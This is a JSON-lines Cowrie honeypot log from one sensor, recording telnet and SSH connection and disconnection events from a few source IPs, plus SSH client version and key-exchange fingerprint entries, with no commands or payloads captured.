{"eventid":"cowrie.session.closed","duration":32.88558506965637,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.604454Z","src_ip":"193.22.147.168","session":"3b7cd2228048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274002075195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.644860Z","src_ip":"174.142.104.49","session":"9577cdb6f857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60210,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8036f00ee2","protocol":"telnet","message":"New connection: 174.142.104.49:60210 (159.203.135.109:23) [session: aa8036f00ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:14.078460Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33900,"dst_ip":"159.203.135.109","dst_port":23,"session":"715486e0092b","protocol":"telnet","message":"New connection: 174.142.104.49:33900 (159.203.135.109:23) [session: 715486e0092b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:14.248618Z"}
{"eventid":"cowrie.session.closed","duration":30.795408964157104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:14.279999Z","src_ip":"161.132.53.68","session":"cba1a876e57e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60902,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f35be4e10f","protocol":"telnet","message":"New connection: 174.142.104.49:60902 (159.203.135.109:23) [session: 32f35be4e10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:14.514698Z"}
{"eventid":"cowrie.session.closed","duration":31.41269302368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:14.632310Z","src_ip":"174.142.104.49","session":"8598113ccbb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138854980469,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:15.142196Z","src_ip":"174.142.104.49","session":"069f3b4de3a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"34774cf09b91","protocol":"telnet","message":"New connection: 104.245.105.2:34980 (10.17.0.5:23) [session: 34774cf09b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:16.045363Z"}
{"eventid":"cowrie.session.closed","duration":31.204143285751343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:16.124564Z","src_ip":"174.142.104.49","session":"051be229f926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16048264503479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:16.130037Z","src_ip":"174.142.104.49","session":"272c865429c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85218071937561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:16.430731Z","src_ip":"174.142.104.49","session":"693be4ada9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38452,"dst_ip":"159.203.135.109","dst_port":23,"session":"d04c7a22b919","protocol":"telnet","message":"New connection: 174.142.104.49:38452 (159.203.135.109:23) [session: d04c7a22b919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:17.298762Z"}
{"eventid":"cowrie.session.closed","duration":30.43484401702881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:17.309955Z","src_ip":"174.142.104.49","session":"9deb71424388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255959272384644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:18.152262Z","src_ip":"174.142.104.49","session":"c5bff51c4e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540546417236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:18.244780Z","src_ip":"174.142.104.49","session":"5f3b1ba026ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":33640,"dst_ip":"10.17.0.5","dst_port":23,"session":"31110f0f9d04","protocol":"telnet","message":"New connection: 193.22.147.168:33640 (10.17.0.5:23) [session: 31110f0f9d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:18.634851Z"}
{"eventid":"cowrie.session.closed","duration":31.007965087890625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:19.497363Z","src_ip":"174.142.104.49","session":"3f6f3d045ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42280,"dst_ip":"159.203.135.109","dst_port":23,"session":"25e581ee4331","protocol":"telnet","message":"New connection: 174.142.104.49:42280 (159.203.135.109:23) [session: 25e581ee4331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:19.833011Z"}
{"eventid":"cowrie.session.closed","duration":120.00138282775879,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:19.947046Z","src_ip":"174.142.104.49","session":"b751d01d7b5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.768282175064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:20.009444Z","src_ip":"174.142.104.49","session":"3d3801ea0175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.764564990997314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:20.842886Z","src_ip":"193.22.147.168","session":"38529d25419d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846791744232178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:20.968283Z","src_ip":"174.142.104.49","session":"230486b05254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57306170463562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:21.022566Z","src_ip":"174.142.104.49","session":"fca9322f7a3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30669617652893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:21.260064Z","src_ip":"174.142.104.49","session":"b544c6983f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17295837402344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:22.158019Z","src_ip":"193.22.147.168","session":"392e504f88d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32844,"dst_ip":"10.17.0.5","dst_port":23,"session":"7865cf964bf9","protocol":"telnet","message":"New connection: 193.22.147.168:32844 (10.17.0.5:23) [session: 7865cf964bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:22.545627Z"}
{"eventid":"cowrie.session.closed","duration":31.61175560951233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:23.160312Z","src_ip":"174.142.104.49","session":"6306eae3e7f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752350568771362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:23.433135Z","src_ip":"174.142.104.49","session":"60d07cec78bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32846,"dst_ip":"10.17.0.5","dst_port":23,"session":"e883197acf2c","protocol":"telnet","message":"New connection: 193.22.147.168:32846 (10.17.0.5:23) [session: e883197acf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:23.850297Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca3118677354","protocol":"telnet","message":"New connection: 174.142.104.49:46936 (159.203.135.109:23) [session: ca3118677354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:23.886437Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48944,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c500245ea0","protocol":"telnet","message":"New connection: 174.142.104.49:48944 (159.203.135.109:23) [session: 71c500245ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:24.118568Z"}
{"eventid":"cowrie.session.closed","duration":31.88409447669983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:24.180323Z","src_ip":"193.22.147.168","session":"46453c8f9975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651171922683716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:24.187944Z","src_ip":"174.142.104.49","session":"57988b282e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815740823745728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:24.236233Z","src_ip":"174.142.104.49","session":"23ebf9156ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32860,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae2f8477f72","protocol":"telnet","message":"New connection: 193.22.147.168:32860 (10.17.0.5:23) [session: cae2f8477f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:24.967259Z"}
{"eventid":"cowrie.session.closed","duration":30.78395700454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:25.409834Z","src_ip":"174.142.104.49","session":"d0adf3e49cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15149474143982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:25.502872Z","src_ip":"193.22.147.168","session":"b671a0c0486a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32870,"dst_ip":"10.17.0.5","dst_port":23,"session":"af344a895539","protocol":"telnet","message":"New connection: 193.22.147.168:32870 (10.17.0.5:23) [session: af344a895539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:25.818044Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47574,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb4a7c1304a","protocol":"telnet","message":"New connection: 174.142.104.49:47574 (159.203.135.109:23) [session: 5cb4a7c1304a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.291813Z"}
{"eventid":"cowrie.session.closed","duration":85.16772150993347,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.311741Z","src_ip":"174.142.104.49","session":"cbeb35fa8263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841806888580322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.731802Z","src_ip":"174.142.104.49","session":"efddab914d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52950,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ede73696990","protocol":"telnet","message":"New connection: 174.142.104.49:52950 (159.203.135.109:23) [session: 7ede73696990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.780372Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32876,"dst_ip":"10.17.0.5","dst_port":23,"session":"1593063894a4","protocol":"telnet","message":"New connection: 193.22.147.168:32876 (10.17.0.5:23) [session: 1593063894a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.838113Z"}
{"eventid":"cowrie.session.closed","duration":31.377551317214966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.904469Z","src_ip":"174.142.104.49","session":"5014f80fb2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.40326046943665,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:26.923202Z","src_ip":"174.142.104.49","session":"8cf28bd51854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.73702502250671,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:27.098386Z","src_ip":"174.142.104.49","session":"d3b351cad3ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32880,"dst_ip":"10.17.0.5","dst_port":23,"session":"651a702d26aa","protocol":"telnet","message":"New connection: 193.22.147.168:32880 (10.17.0.5:23) [session: 651a702d26aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:27.256135Z"}
{"eventid":"cowrie.session.closed","duration":31.208130359649658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:28.648267Z","src_ip":"174.142.104.49","session":"8a1b0463e20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00094103813171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:28.881584Z","src_ip":"174.142.104.49","session":"59961c722dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041226863861084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:29.482909Z","src_ip":"174.142.104.49","session":"93faf278c987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00186491012573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:29.739263Z","src_ip":"174.142.104.49","session":"c23eb14c6f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37642,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff2c3402419","protocol":"telnet","message":"New connection: 174.142.104.49:37642 (159.203.135.109:23) [session: bff2c3402419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:29.823633Z"}
{"eventid":"cowrie.session.closed","duration":0.006213188171386719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:29.829664Z","src_ip":"174.142.104.49","session":"bff2c3402419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00141382217407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:29.899086Z","src_ip":"174.142.104.49","session":"4d797f48f218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00113725662231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:30.154647Z","src_ip":"174.142.104.49","session":"c886907160b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202631950378,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:31.435616Z","src_ip":"174.142.104.49","session":"018e6cbf6c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b04ae35735ef","protocol":"telnet","message":"New connection: 174.142.104.49:33108 (159.203.135.109:23) [session: b04ae35735ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:31.877713Z"}
{"eventid":"cowrie.session.closed","duration":30.751361846923828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:32.625670Z","src_ip":"174.142.104.49","session":"b678eb97e64c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b5d1ed6b3ed","protocol":"telnet","message":"New connection: 193.22.147.168:59332 (10.17.0.5:23) [session: 3b5d1ed6b3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:33.022509Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34660,"dst_ip":"159.203.135.109","dst_port":23,"session":"4311ef231651","protocol":"telnet","message":"New connection: 174.142.104.49:34660 (159.203.135.109:23) [session: 4311ef231651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:33.883775Z"}
{"eventid":"cowrie.session.closed","duration":93.66201782226562,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:34.375652Z","src_ip":"174.142.104.49","session":"6ba64d2d12d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35190,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd61a9e5d64","protocol":"telnet","message":"New connection: 174.142.104.49:35190 (159.203.135.109:23) [session: 2cd61a9e5d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:35.273703Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51984,"dst_ip":"159.203.135.109","dst_port":23,"session":"738f24f1c107","protocol":"telnet","message":"New connection: 161.132.53.68:51984 (159.203.135.109:23) [session: 738f24f1c107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:36.169948Z"}
{"eventid":"cowrie.session.closed","duration":31.093445539474487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:36.261898Z","src_ip":"174.142.104.49","session":"0343c5d3c3ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41174,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ff182de5ce","protocol":"telnet","message":"New connection: 174.142.104.49:41174 (159.203.135.109:23) [session: 36ff182de5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:36.825712Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":59344,"dst_ip":"10.17.0.5","dst_port":23,"session":"876481ac61d9","protocol":"telnet","message":"New connection: 193.22.147.168:59344 (10.17.0.5:23) [session: 876481ac61d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.613498Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a954d75461","protocol":"ssh","message":"New connection: 165.154.6.69:32992 (159.203.135.109:22) [session: d2a954d75461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.677110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.686190Z","src_ip":"165.154.6.69","session":"d2a954d75461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42930,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead091393931","protocol":"telnet","message":"New connection: 174.142.104.49:42930 (159.203.135.109:23) [session: ead091393931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.762650Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":58416,"dst_ip":"159.203.135.109","dst_port":22,"session":"493bb50cfcb9","protocol":"ssh","message":"New connection: 200.105.172.184:58416 (159.203.135.109:22) [session: 493bb50cfcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.810970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.817028Z","src_ip":"200.105.172.184","session":"493bb50cfcb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.902142Z","src_ip":"165.154.6.69","session":"d2a954d75461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:37.937603Z","src_ip":"200.105.172.184","session":"493bb50cfcb9","protocol":"ssh"}
